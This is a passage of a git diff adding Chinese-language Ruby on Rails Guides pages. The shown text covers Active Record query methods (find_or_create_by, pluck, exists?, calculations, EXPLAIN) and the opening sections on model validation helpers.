+INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 1, NULL, '2011-08-30 05:22:57')
+COMMIT
+
+
+
+

find_or_create_by 方法会返回已存在的记录或新建的记录。在本例中,名为“Andy”的客户记录并不存在,因此会创建并返回这条记录。

新建记录不一定会保存到数据库,是否保存取决于验证是否通过(就像 create 方法那样)。

假设我们想在新建记录时把 locked 字段设置为 false,但又不想在查询中进行设置。例如,我们想查找名为“Andy”的客户记录,但这条记录并不存在,因此要创建这条记录并把 locked 字段设置为 false

要完成这一操作有两种方式。第一种方式是使用 create_with 方法:

+
+Client.create_with(locked: false).find_or_create_by(first_name: 'Andy')
+
+
+
+

第二种方式是使用块:

+
+Client.find_or_create_by(first_name: 'Andy') do |c|
+  c.locked = false
+end
+
+
+
+

只有在创建客户记录时才会执行该块。第二次运行这段代码时(此时客户记录已创建),块会被忽略。

18.2 find_or_create_by! 方法

我们也可以使用 find_or_create_by! 方法,这样如果新建记录是无效的就会抛出异常。本文不涉及数据验证,不过这里我们暂且假设已经在 Client 模型中添加了下面的数据验证:

+
+validates :orders_count, presence: true
+
+
+
+

如果我们尝试新建客户记录,但忘了传递 orders_count 字段的值,新建记录就是无效的,因而会抛出下面的异常:

+
+Client.find_or_create_by!(first_name: 'Andy')
+# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank
+
+
+
+

18.3 find_or_initialize_by 方法

find_or_initialize_by 方法的工作原理和 find_or_create_by 方法类似,区别之处在于前者调用的是 new 方法而不是 create 方法。这意味着新建模型实例在内存中创建,但没有保存到数据库。下面继续使用介绍 find_or_create_by 方法时使用的例子,我们现在想查找名为“Nick”的客户记录:

+
+nick = Client.find_or_initialize_by(first_name: 'Nick')
+# => #<Client id: nil, first_name: "Nick", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
+
+nick.persisted?
+# => false
+
+nick.new_record?
+# => true
+
+
+
+

出现上面的执行结果是因为 nick 对象还没有保存到数据库。在上面的代码中,find_or_initialize_by 方法会生成下面的 SQL 语句:

+
+SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1
+
+
+
+

要想把 nick 对象保存到数据库,只需调用 save 方法:

+
+nick.save
+# => true
+
+
+
+

19 使用 SQL 语句进行查找

要想直接使用 SQL 语句在数据表中查找记录,可以使用 find_by_sql 方法。find_by_sql 方法总是返回对象的数组,即使底层查询只返回了一条记录也是如此。例如,我们可以执行下面的查询:

+
+Client.find_by_sql("SELECT * FROM clients
+  INNER JOIN orders ON clients.id = orders.client_id
+  ORDER BY clients.created_at desc")
+# =>  [
+#   #<Client id: 1, first_name: "Lucas" >,
+#   #<Client id: 2, first_name: "Jan" >,
+#   ...
+# ]
+
+
+
+

find_by_sql 方法提供了对数据库进行定制查询并取回实例化对象的简单方式。

19.1 select_all 方法

find_by_sql 方法有一个名为 connection#select_all 的近亲。和 find_by_sql 方法一样,select_all 方法也会使用定制的 SQL 语句从数据库中检索对象,区别在于 select_all 方法不会对这些对象进行实例化,而是返回一个散列构成的数组,其中每个散列表示一条记录。

+
+Client.connection.select_all("SELECT first_name, created_at FROM clients WHERE id = '1'")
+# => [
+#   {"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.281189"},
+#   {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.221282"}
+# ]
+
+
+
+

19.2 pluck 方法

pluck 方法用于在模型对应的底层数据表中查询单个或多个字段。它接受字段名的列表作为参数,并返回这些字段的值的数组,数组中的每个值都具有对应的数据类型。

+
+Client.where(active: true).pluck(:id)
+# SELECT id FROM clients WHERE active = 1
+# => [1, 2, 3]
+
+Client.distinct.pluck(:role)
+# SELECT DISTINCT role FROM clients
+# => ['admin', 'member', 'guest']
+
+Client.pluck(:id, :name)
+# SELECT clients.id, clients.name FROM clients
+# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
+
+
+
+

使用 pluck 方法,我们可以把下面的代码:

+
+Client.select(:id).map { |c| c.id }
+# 或
+Client.select(:id).map(&:id)
+# 或
+Client.select(:id, :name).map { |c| [c.id, c.name] }
+
+
+
+

替换为:

+
+Client.pluck(:id)
+# 或
+Client.pluck(:id, :name)
+
+
+
+

select 方法不同,pluck 方法把数据库查询结果直接转换为 Ruby 数组,而不是构建 Active Record 对象。这意味着对于大型查询或常用查询,pluck 方法的性能更好。不过对于 pluck 方法,模型方法重载是不可用的。例如:

+
+class Client < ApplicationRecord
+  def name
+    "I am #{super}"
+  end
+end
+
+Client.select(:name).map &:name
+# => ["I am David", "I am Jeremy", "I am Jose"]
+
+Client.pluck(:name)
+# => ["David", "Jeremy", "Jose"]
+
+
+
+

此外,和 select 方法及其他 Relation 作用域不同,pluck 方法会触发即时查询,因此在 pluck 方法之前可以链接作用域,但在 pluck 方法之后不能链接作用域:

+
+Client.pluck(:name).limit(1)
+# => NoMethodError: undefined method `limit' for #<Array:0x007ff34d3ad6d8>
+
+Client.limit(1).pluck(:name)
+# => ["David"]
+
+
+
+

19.3 ids 方法

使用 ids 方法可以获得关联的所有 ID,也就是数据表的主键。

+
+Person.ids
+# SELECT id FROM people
+
+
+
+
+
+class Person < ApplicationRecord
+  self.primary_key = "person_id"
+end
+
+Person.ids
+# SELECT person_id FROM people
+
+
+
+

20 检查对象是否存在

要想检查对象是否存在,可以使用 exists? 方法。exists? 方法查询数据库的工作原理和 find 方法相同,但是 find 方法返回的是对象或对象集合,而 exists? 方法返回的是 truefalse

+
+Client.exists?(1)
+
+
+
+

exists? 方法也接受多个值作为参数,并且只要有一条对应记录存在就会返回 true

+
+Client.exists?(id: [1,2,3])
+# 或
+Client.exists?(name: ['John', 'Sergei'])
+
+
+
+

我们还可以在模型或关联上调用 exists? 方法,这时不需要任何参数。

+
+Client.where(first_name: 'Ryan').exists?
+
+
+
+

只要存在一条名为“Ryan”的客户记录,上面的代码就会返回 true,否则返回 false

+
+Client.exists?
+
+
+
+

如果 clients 数据表是空的,上面的代码返回 false,否则返回 true

我们还可以在模型或关联上调用 any?many? 方法来检查对象是否存在。

+
+# 通过模型
+Article.any?
+Article.many?
+
+# 通过指定的作用域
+Article.recent.any?
+Article.recent.many?
+
+# 通过关系
+Article.where(published: true).any?
+Article.where(published: true).many?
+
+# 通过关联
+Article.first.categories.any?
+Article.first.categories.many?
+
+
+
+

21 计算

在本节的前言中我们以 count 方法为例,例子中提到的所有选项对本节的各小节都适用。

所有用于计算的方法都可以直接在模型上调用:

+
+Client.count
+# SELECT count(*) AS count_all FROM clients
+
+
+
+

或者在关联上调用:

+
+Client.where(first_name: 'Ryan').count
+# SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
+
+
+
+

我们还可以在关联上执行各种查找方法来执行复杂的计算:

+
+Client.includes("orders").where(first_name: 'Ryan', orders: { status: 'received' }).count
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT count(DISTINCT clients.id) AS count_all FROM clients
+  LEFT OUTER JOIN orders ON orders.client_id = clients.id WHERE
+  (clients.first_name = 'Ryan' AND orders.status = 'received')
+
+
+
+

21.1 count 方法

要想知道模型对应的数据表中有多少条记录,可以使用 Client.count 方法,这个方法的返回值就是记录条数。如果想要知道特定记录的条数,例如具有 age 字段值的所有客户记录的条数,可以使用 Client.count(:age)

关于 count 方法的选项的更多介绍,请参阅 计算

21.2 average 方法

要想知道数据表中某个字段的平均值,可以在数据表对应的类上调用 average 方法。例如:

+
+Client.average("orders_count")
+
+
+
+

上面的代码会返回表示 orders_count 字段平均值的数字(可能是浮点数,如 3.14159265)。

关于 average 方法的选项的更多介绍,请参阅 计算

21.3 minimum 方法

要想查找数据表中某个字段的最小值,可以在数据表对应的类上调用 minimum 方法。例如:

+
+Client.minimum("age")
+
+
+
+

关于 minimum 方法的选项的更多介绍,请参阅 计算

21.4 maximum 方法

要想查找数据表中某个字段的最大值,可以在数据表对应的类上调用 maximum 方法。例如:

+
+Client.maximum("age")
+
+
+
+

关于 maximum 方法的选项的更多介绍,请参阅 计算

21.5 sum 方法

要想知道数据表中某个字段的所有字段值之和,可以在数据表对应的类上调用 sum 方法。例如:

+
+Client.sum("orders_count")
+
+
+
+

关于 sum 方法的选项的更多介绍,请参阅 计算

22 执行 EXPLAIN 命令

我们可以在关联触发的查询上执行 EXPLAIN 命令。例如:

+
+User.where(id: 1).joins(:articles).explain
+
+
+
+

对于 MySQL 和 MariaDB 数据库后端,上面的代码会产生下面的输出结果:

+
+EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `articles` ON `articles`.`user_id` = `users`.`id` WHERE `users`.`id` = 1
++----+-------------+----------+-------+---------------+
+| id | select_type | table    | type  | possible_keys |
++----+-------------+----------+-------+---------------+
+|  1 | SIMPLE      | users    | const | PRIMARY       |
+|  1 | SIMPLE      | articles | ALL   | NULL          |
++----+-------------+----------+-------+---------------+
++---------+---------+-------+------+-------------+
+| key     | key_len | ref   | rows | Extra       |
++---------+---------+-------+------+-------------+
+| PRIMARY | 4       | const |    1 |             |
+| NULL    | NULL    | NULL  |    1 | Using where |
++---------+---------+-------+------+-------------+
+
+2 rows in set (0.00 sec)
+
+
+
+

Active Record 会模拟对应数据库的 shell 来打印输出结果。因此对于 PostgreSQL 数据库后端,同样的代码会产生下面的输出结果:

+
+EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "articles" ON "articles"."user_id" = "users"."id" WHERE "users"."id" = 1
+                                  QUERY PLAN
+------------------------------------------------------------------------------
+ Nested Loop Left Join  (cost=0.00..37.24 rows=8 width=0)
+   Join Filter: (articles.user_id = users.id)
+   ->  Index Scan using users_pkey on users  (cost=0.00..8.27 rows=1 width=4)
+         Index Cond: (id = 1)
+   ->  Seq Scan on articles  (cost=0.00..28.88 rows=8 width=4)
+         Filter: (articles.user_id = 1)
+(6 rows)
+
+
+
+

及早加载在底层可能会触发多次查询,有的查询可能需要使用之前查询的结果。因此,explain 方法实际上先执行了查询,然后询问查询计划。例如:

+
+User.where(id: 1).includes(:articles).explain
+
+
+
+

对于 MySQL 和 MariaDB 数据库后端,上面的代码会产生下面的输出结果:

+
+EXPLAIN for: SELECT `users`.* FROM `users`  WHERE `users`.`id` = 1
++----+-------------+-------+-------+---------------+
+| id | select_type | table | type  | possible_keys |
++----+-------------+-------+-------+---------------+
+|  1 | SIMPLE      | users | const | PRIMARY       |
++----+-------------+-------+-------+---------------+
++---------+---------+-------+------+-------+
+| key     | key_len | ref   | rows | Extra |
++---------+---------+-------+------+-------+
+| PRIMARY | 4       | const |    1 |       |
++---------+---------+-------+------+-------+
+
+1 row in set (0.00 sec)
+
+EXPLAIN for: SELECT `articles`.* FROM `articles`  WHERE `articles`.`user_id` IN (1)
++----+-------------+----------+------+---------------+
+| id | select_type | table    | type | possible_keys |
++----+-------------+----------+------+---------------+
+|  1 | SIMPLE      | articles | ALL  | NULL          |
++----+-------------+----------+------+---------------+
++------+---------+------+------+-------------+
+| key  | key_len | ref  | rows | Extra       |
++------+---------+------+------+-------------+
+| NULL | NULL    | NULL |    1 | Using where |
++------+---------+------+------+-------------+
+
+
+1 row in set (0.00 sec)
+
+
+
+

22.1 对 EXPLAIN 命令输出结果的解释

EXPLAIN 命令输出结果的解释超出了本文的范畴。下面提供了一些有用链接:

+ + + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/active_record_validations.html b/active_record_validations.html new file mode 100644 index 0000000..57a707e --- /dev/null +++ b/active_record_validations.html @@ -0,0 +1,1170 @@ + + + + + + + +Active Record 数据验证 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Active Record 数据验证

本文介绍如何使用 Active Record 提供的数据验证功能,在数据存入数据库之前验证对象的状态。

读完本文后,您将学到:

+
    +
  • 如何使用 Active Record 内置的数据验证辅助方法;
  • +
  • 如果自定义数据验证方法;
  • +
  • 如何处理验证过程产生的错误消息。
  • +
+ + + + +
+
+ +
+
+
+

1 数据验证概览

下面是一个非常简单的数据验证:

+
+class Person < ApplicationRecord
+  validates :name, presence: true
+end
+
+Person.create(name: "John Doe").valid? # => true
+Person.create(name: nil).valid? # => false
+
+
+
+

可以看出,如果 Person 没有 name 属性,验证就会将其视为无效对象。第二个 Person 对象不会存入数据库。

在深入探讨之前,我们先来了解数据验证在应用中的作用。

1.1 为什么要做数据验证?

数据验证确保只有有效的数据才能存入数据库。例如,应用可能需要用户提供一个有效的电子邮件地址和邮寄地址。在模型中做验证是最有保障的,只有通过验证的数据才能存入数据库。数据验证和使用的数据库种类无关,终端用户也无法跳过,而且容易测试和维护。在 Rails 中做数据验证很简单,Rails 内置了很多辅助方法,能满足常规的需求,而且还可以编写自定义的验证方法。

在数据存入数据库之前,也有几种验证数据的方法,包括数据库原生的约束、客户端验证和控制器层验证。下面列出这几种验证方法的优缺点:

+
    +
  • 数据库约束和存储过程无法兼容多种数据库,而且难以测试和维护。然而,如果其他应用也要使用这个数据库,最好在数据库层做些约束。此外,数据库层的某些验证(例如在使用量很高的表中做唯一性验证)通过其他方式实现起来有点困难。
  • +
  • 客户端验证很有用,但单独使用时可靠性不高。如果使用 JavaScript 实现,用户在浏览器中禁用 JavaScript 后很容易跳过验证。然而,客户端验证和其他验证方式相结合,可以为用户提供实时反馈。
  • +
  • 控制器层验证很诱人,但一般都不灵便,难以测试和维护。只要可能,就要保证控制器的代码简洁,这样才有利于长远发展。
  • +
+

你可以根据实际需求选择使用合适的验证方式。Rails 团队认为,模型层数据验证最具普适性。

1.2 数据在何时验证?

Active Record 对象分为两种:一种在数据库中有对应的记录,一种没有。新建的对象(例如,使用 new 方法)还不属于数据库。在对象上调用 save 方法后,才会把对象存入相应的数据库表。Active Record 使用实例方法 new_record? 判断对象是否已经存入数据库。假如有下面这个简单的 Active Record 类:

+
+class Person < ApplicationRecord
+end
+
+
+
+

我们可以在 rails console 中看一下到底怎么回事:

+
+$ bin/rails console
+>> p = Person.new(name: "John Doe")
+=> #<Person id: nil, name: "John Doe", created_at: nil, updated_at: nil>
+>> p.new_record?
+=> true
+>> p.save
+=> true
+>> p.new_record?
+=> false
+
+
+
+

新建并保存记录会在数据库中执行 SQL INSERT 操作。更新现有的记录会在数据库中执行 SQL UPDATE 操作。一般情况下,数据验证发生在这些 SQL 操作执行之前。如果验证失败,对象会被标记为无效,Active Record 不会向数据库发送 INSERTUPDATE 指令。这样就可以避免把无效的数据存入数据库。你可以选择在对象创建、保存或更新时执行特定的数据验证。

修改数据库中对象的状态有多种方式。有些方法会触发数据验证,有些则不会。所以,如果不小心处理,还是有可能把无效的数据存入数据库。

下列方法会触发数据验证,如果验证失败就不把对象存入数据库:

+
    +
  • create +
  • +
  • create! +
  • +
  • save +
  • +
  • save! +
  • +
  • update +
  • +
  • update! +
  • +
+

爆炸方法(例如 save!)会在验证失败后抛出异常。验证失败后,非爆炸方法不会抛出异常,saveupdate 返回 falsecreate 返回对象本身。

1.3 跳过验证

下列方法会跳过验证,不管验证是否通过都会把对象存入数据库,使用时要特别留意。

+
    +
  • decrement! +
  • +
  • decrement_counter +
  • +
  • increment! +
  • +
  • increment_counter +
  • +
  • toggle! +
  • +
  • touch +
  • +
  • update_all +
  • +
  • update_attribute +
  • +
  • update_column +
  • +
  • update_columns +
  • +
  • update_counters +
  • +
+

注意,使用 save 时如果传入 validate: false 参数,也会跳过验证。使用时要特别留意。

+
    +
  • save(validate: false) +
  • +
+

1.4 valid?invalid? +

Rails 在保存 Active Record 对象之前验证数据。如果验证过程产生错误,Rails 不会保存对象。

你还可以自己执行数据验证。valid? 方法会触发数据验证,如果对象上没有错误,返回 true,否则返回 false。前面我们已经用过了:

+
+class Person < ApplicationRecord
+  validates :name, presence: true
+end
+
+Person.create(name: "John Doe").valid? # => true
+Person.create(name: nil).valid? # => false
+
+
+
+

Active Record 执行验证后,所有发现的错误都可以通过实例方法 errors.messages 获取。该方法返回一个错误集合。如果数据验证后,这个集合为空,说明对象是有效的。

注意,使用 new 方法初始化对象时,即使无效也不会报错,因为只有保存对象时才会验证数据,例如调用 createsave 方法。

+
+class Person < ApplicationRecord
+  validates :name, presence: true
+end
+
+>> p = Person.new
+# => #<Person id: nil, name: nil>
+>> p.errors.messages
+# => {}
+
+>> p.valid?
+# => false
+>> p.errors.messages
+# => {name:["can't be blank"]}
+
+>> p = Person.create
+# => #<Person id: nil, name: nil>
+>> p.errors.messages
+# => {name:["can't be blank"]}
+
+>> p.save
+# => false
+
+>> p.save!
+# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+
+>> Person.create!
+# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+
+
+
+

invalid? 的作用与 valid? 相反,它会触发数据验证,如果找到错误就返回 true,否则返回 false

1.5 errors[] +

若想检查对象的某个属性是否有效,可以使用 errors[:attribute]errors[:attribute] 中包含与 :attribute 有关的所有错误。如果某个属性没有错误,就会返回空数组。

这个方法只在数据验证之后才能使用,因为它只是用来收集错误信息的,并不会触发验证。与前面介绍的 ActiveRecord::Base#invalid? 方法不一样,errors[:attribute] 不会验证整个对象,只检查对象的某个属性是否有错。

+
+class Person < ApplicationRecord
+  validates :name, presence: true
+end
+
+>> Person.new.errors[:name].any? # => false
+>> Person.create.errors[:name].any? # => true
+
+
+
+

我们会在 处理验证错误详细说明验证错误。

1.6 errors.details +

若想查看是哪个验证导致属性无效的,可以使用 errors.details[:attribute]。它的返回值是一个由散列组成的数组,:error 键的值是一个符号,指明出错的数据验证。

+
+class Person < ApplicationRecord
+  validates :name, presence: true
+end
+
+>> person = Person.new
+>> person.valid?
+>> person.errors.details[:name] # => [{error: :blank}]
+
+
+
+

处理验证错误会说明如何在自定义的数据验证中使用 details

2 数据验证辅助方法

Active Record 预先定义了很多数据验证辅助方法,可以直接在模型类定义中使用。这些辅助方法提供了常用的验证规则。每次验证失败后,都会向对象的 errors 集合中添加一个消息,而且这些消息与所验证的属性是关联的。

每个辅助方法都可以接受任意个属性名,所以一行代码就能在多个属性上做同一种验证。

所有辅助方法都可指定 :on:message 选项,分别指定何时做验证,以及验证失败后向 errors 集合添加什么消息。:on 选项的可选值是 :create:update。每个辅助函数都有默认的错误消息,如果没有通过 :message 选项指定,则使用默认值。下面分别介绍各个辅助方法。

2.1 acceptance +

这个方法检查表单提交时,用户界面中的复选框是否被选中。这个功能一般用来要求用户接受应用的服务条款、确保用户阅读了一些文本,等等。

+
+class Person < ApplicationRecord
+  validates :terms_of_service, acceptance: true
+end
+
+
+
+

仅当 terms_of_service 不为 nil 时才会执行这个检查。这个辅助方法的默认错误消息是“must be accepted”。通过 message 选项可以传入自定义的消息。

+
+class Person < ApplicationRecord
+  validates :terms_of_service, acceptance: { message: 'must be abided' }
+end
+
+
+
+

这个辅助方法还接受 :accept 选项,指定把哪些值视作“接受”。默认为 ['1', true],不过可以轻易修改:

+
+class Person < ApplicationRecord
+  validates :terms_of_service, acceptance: { accept: 'yes' }
+  validates :eula, acceptance: { accept: ['TRUE', 'accepted'] }
+end
+
+
+
+

这种验证只针对 Web 应用,接受与否无需存入数据库。如果没有对应的字段,该方法会创建一个虚拟属性。如果数据库中有对应的字段,必须把 accept 选项的值设为或包含 true,否则验证不会执行。

2.2 validates_associated +

如果模型和其他模型有关联,而且关联的模型也要验证,要使用这个辅助方法。保存对象时,会在相关联的每个对象上调用 valid? 方法。

+
+class Library < ApplicationRecord
+  has_many :books
+  validates_associated :books
+end
+
+
+
+

这种验证支持所有关联类型。

不要在关联的两端都使用 validates_associated,这样会变成无限循环。

validates_associated 的默认错误消息是“is invalid”。注意,相关联的每个对象都有各自的 errors 集合,错误消息不会都集中在调用该方法的模型对象上。

2.3 confirmation +

如果要检查两个文本字段的值是否完全相同,使用这个辅助方法。例如,确认电子邮件地址或密码。这个验证创建一个虚拟属性,其名字为要验证的属性名后加 _confirmation

+
+class Person < ApplicationRecord
+  validates :email, confirmation: true
+end
+
+
+
+

在视图模板中可以这么写:

+
+<%= text_field :person, :email %>
+<%= text_field :person, :email_confirmation %>
+
+
+
+

只有 email_confirmation 的值不是 nil 时才会检查。所以要为确认属性加上存在性验证(后文会介绍 presence 验证)。

+
+class Person < ApplicationRecord
+  validates :email, confirmation: true
+  validates :email_confirmation, presence: true
+end
+
+
+
+

此外,还可以使用 :case_sensitive 选项指定确认时是否区分大小写。这个选项的默认值是 true

+
+class Person < ApplicationRecord
+  validates :email, confirmation: { case_sensitive: false }
+end
+
+
+
+

这个辅助方法的默认错误消息是“doesn’t match confirmation”。

2.4 exclusion +

这个辅助方法检查属性的值是否不在指定的集合中。集合可以是任何一种可枚举的对象。

+
+class Account < ApplicationRecord
+  validates :subdomain, exclusion: { in: %w(www us ca jp),
+    message: "%{value} is reserved." }
+end
+
+
+
+

exclusion 方法要指定 :in 选项,设置哪些值不能作为属性的值。:in 选项有个别名 :with,作用相同。上面的例子设置了 :message 选项,演示如何获取属性的值。:message 选项的完整参数参见 :message

默认的错误消息是“is reserved”。

2.5 format +

这个辅助方法检查属性的值是否匹配 :with 选项指定的正则表达式。

+
+class Product < ApplicationRecord
+  validates :legacy_code, format: { with: /\A[a-zA-Z]+\z/,
+    message: "only allows letters" }
+end
+
+
+
+

或者,使用 :without 选项,指定属性的值不能匹配正则表达式。

默认的错误消息是“is invalid”。

2.6 inclusion +

这个辅助方法检查属性的值是否在指定的集合中。集合可以是任何一种可枚举的对象。

+
+class Coffee < ApplicationRecord
+  validates :size, inclusion: { in: %w(small medium large),
+    message: "%{value} is not a valid size" }
+end
+
+
+
+

inclusion 方法要指定 :in 选项,设置可接受哪些值。:in 选项有个别名 :within,作用相同。上面的例子设置了 :message 选项,演示如何获取属性的值。:message 选项的完整参数参见 :message

该方法的默认错误消息是“is not included in the list”。

2.7 length +

这个辅助方法验证属性值的长度,有多个选项,可以使用不同的方法指定长度约束:

+
+class Person < ApplicationRecord
+  validates :name, length: { minimum: 2 }
+  validates :bio, length: { maximum: 500 }
+  validates :password, length: { in: 6..20 }
+  validates :registration_number, length: { is: 6 }
+end
+
+
+
+

可用的长度约束选项有:

+
    +
  • :minimum:属性的值不能比指定的长度短;
  • +
  • :maximum:属性的值不能比指定的长度长;
  • +
  • :in(或 :within):属性值的长度在指定的范围内。该选项的值必须是一个范围;
  • +
  • :is:属性值的长度必须等于指定值;
  • +
+

默认的错误消息根据长度验证的约束类型而有所不同,不过可以使用 :message 选项定制。定制消息时,可以使用 :wrong_length:too_long:too_short 选项,%{count} 表示长度限制的值。

+
+class Person < ApplicationRecord
+  validates :bio, length: { maximum: 1000,
+    too_long: "%{count} characters is the maximum allowed" }
+end
+
+
+
+

这个辅助方法默认统计字符数,但可以使用 :tokenizer 选项设置其他的统计方式:

注意,默认的错误消息使用复数形式(例如,“is too short (minimum is %{count} characters”),所以如果长度限制是 minimum: 1,就要提供一个定制的消息,或者使用 presence: true 代替。:in:within 的下限值比 1 小时,要提供一个定制的消息,或者在 length 之前调用 presence 方法。

2.8 numericality +

这个辅助方法检查属性的值是否只包含数字。默认情况下,匹配的值是可选的正负符号后加整数或浮点数。如果只接受整数,把 :only_integer 选项设为 true

如果把 :only_integer 的值设为 true,使用下面的正则表达式验证属性的值:

+
+/\A[+-]?\d+\z/
+
+
+
+

否则,会尝试使用 Float 把值转换成数字。

+
+class Player < ApplicationRecord
+  validates :points, numericality: true
+  validates :games_played, numericality: { only_integer: true }
+end
+
+
+
+

除了 :only_integer 之外,这个方法还可指定以下选项,限制可接受的值:

+
    +
  • :greater_than:属性值必须比指定的值大。该选项默认的错误消息是“must be greater than %{count}”;
  • +
  • :greater_than_or_equal_to:属性值必须大于或等于指定的值。该选项默认的错误消息是“must be greater than or equal to %{count}”;
  • +
  • :equal_to:属性值必须等于指定的值。该选项默认的错误消息是“must be equal to %{count}”;
  • +
  • :less_than:属性值必须比指定的值小。该选项默认的错误消息是“must be less than %{count}”;
  • +
  • :less_than_or_equal_to:属性值必须小于或等于指定的值。该选项默认的错误消息是“must be less than or equal to %{count}”;
  • +
  • :other_than:属性值必须与指定的值不同。该选项默认的错误消息是“must be other than %{count}”。
  • +
  • :odd:如果设为 true,属性值必须是奇数。该选项默认的错误消息是“must be odd”;
  • +
  • :even:如果设为 true,属性值必须是偶数。该选项默认的错误消息是“must be even”;
  • +
+

numericality 默认不接受 nil 值。可以使用 allow_nil: true 选项允许接受 nil

默认的错误消息是“is not a number”。

2.9 presence +

这个辅助方法检查指定的属性是否为非空值。它调用 blank? 方法检查值是否为 nil 或空字符串,即空字符串或只包含空白的字符串。

+
+class Person < ApplicationRecord
+  validates :name, :login, :email, presence: true
+end
+
+
+
+

如果要确保关联对象存在,需要测试关联的对象本身是否存在,而不是用来映射关联的外键。

+
+class LineItem < ApplicationRecord
+  belongs_to :order
+  validates :order, presence: true
+end
+
+
+
+

为了能验证关联的对象是否存在,要在关联中指定 :inverse_of 选项。

+
+class Order < ApplicationRecord
+  has_many :line_items, inverse_of: :order
+end
+
+
+
+

如果验证 has_onehas_many 关联的对象是否存在,会在关联的对象上调用 blank?marked_for_destruction? 方法。

因为 false.blank? 的返回值是 true,所以如果要验证布尔值字段是否存在,要使用下述验证中的一个:

+
+validates :boolean_field_name, inclusion: { in: [true, false] }
+validates :boolean_field_name, exclusion: { in: [nil] }
+
+
+
+

上述验证确保值不是 nil;在多数情况下,即验证不是 NULL

默认的错误消息是“can’t be blank”。

2.10 absence +

这个辅助方法验证指定的属性值是否为空。它使用 present? 方法检测值是否为 nil 或空字符串,即空字符串或只包含空白的字符串。

+
+class Person < ApplicationRecord
+  validates :name, :login, :email, absence: true
+end
+
+
+
+

如果要确保关联对象为空,要测试关联的对象本身是否为空,而不是用来映射关联的外键。

+
+class LineItem < ApplicationRecord
+  belongs_to :order
+  validates :order, absence: true
+end
+
+
+
+

为了能验证关联的对象是否为空,要在关联中指定 :inverse_of 选项。

+
+class Order < ApplicationRecord
+  has_many :line_items, inverse_of: :order
+end
+
+
+
+

如果验证 has_onehas_many 关联的对象是否为空,会在关联的对象上调用 present?marked_for_destruction? 方法。

因为 false.present? 的返回值是 false,所以如果要验证布尔值字段是否为空要使用 validates :field_name, exclusion: { in: [true, false] }

默认的错误消息是“must be blank”。

2.11 uniqueness +

这个辅助方法在保存对象之前验证属性值是否是唯一的。该方法不会在数据库中创建唯一性约束,所以有可能两次数据库连接创建的记录具有相同的字段值。为了避免出现这种问题,必须在数据库的字段上建立唯一性索引。

+
+class Account < ApplicationRecord
+  validates :email, uniqueness: true
+end
+
+
+
+

这个验证会在模型对应的表中执行一个 SQL 查询,检查现有的记录中该字段是否已经出现过相同的值。

:scope 选项用于指定检查唯一性时使用的一个或多个属性:

+
+class Holiday < ApplicationRecord
+  validates :name, uniqueness: { scope: :year,
+    message: "should happen once per year" }
+end
+
+
+
+

如果想确保使用 :scope 选项的唯一性验证严格有效,必须在数据库中为多列创建唯一性索引。多列索引的详情参见 MySQL 手册PostgreSQL 手册中有些示例,说明如何为一组列创建唯一性约束。

还有个 :case_sensitive 选项,指定唯一性验证是否区分大小写,默认值为 true

+
+class Person < ApplicationRecord
+  validates :name, uniqueness: { case_sensitive: false }
+end
+
+
+
+

注意,不管怎样设置,有些数据库查询时始终不区分大小写。

默认的错误消息是“has already been taken”。

2.12 validates_with +

这个辅助方法把记录交给其他类做验证。

+
+class GoodnessValidator < ActiveModel::Validator
+  def validate(record)
+    if record.first_name == "Evil"
+      record.errors[:base] << "This person is evil"
+    end
+  end
+end
+
+class Person < ApplicationRecord
+  validates_with GoodnessValidator
+end
+
+
+
+

record.errors[:base] 中的错误针对整个对象,而不是特定的属性。

validates_with 方法的参数是一个类或一组类,用来做验证。validates_with 方法没有默认的错误消息。在做验证的类中要手动把错误添加到记录的错误集合中。

实现 validate 方法时,必须指定 record 参数,这是要做验证的记录。

与其他验证一样,validates_with 也可指定 :if:unless:on 选项。如果指定了其他选项,会包含在 options 中传递给做验证的类。

+
+class GoodnessValidator < ActiveModel::Validator
+  def validate(record)
+    if options[:fields].any?{|field| record.send(field) == "Evil" }
+      record.errors[:base] << "This person is evil"
+    end
+  end
+end
+
+class Person < ApplicationRecord
+  validates_with GoodnessValidator, fields: [:first_name, :last_name]
+end
+
+
+
+

注意,做验证的类在整个应用的生命周期内只会初始化一次,而不是每次验证时都初始化,所以使用实例变量时要特别小心。

如果做验证的类很复杂,必须要用实例变量,可以用纯粹的 Ruby 对象代替:

+
+class Person < ApplicationRecord
+  validate do |person|
+    GoodnessValidator.new(person).validate
+  end
+end
+
+class GoodnessValidator
+  def initialize(person)
+    @person = person
+  end
+
+  def validate
+    if some_complex_condition_involving_ivars_and_private_methods?
+      @person.errors[:base] << "This person is evil"
+    end
+  end
+
+  # ...
+end
+
+
+
+

2.13 validates_each +

这个辅助方法使用代码块中的代码验证属性。它没有预先定义验证函数,你要在代码块中定义验证方式。要验证的每个属性都会传入块中做验证。在下面的例子中,我们确保名和姓都不能以小写字母开头:

+
+class Person < ApplicationRecord
+  validates_each :name, :surname do |record, attr, value|
+    record.errors.add(attr, 'must start with upper case') if value =~ /\A[[:lower:]]/
+  end
+end
+
+
+
+

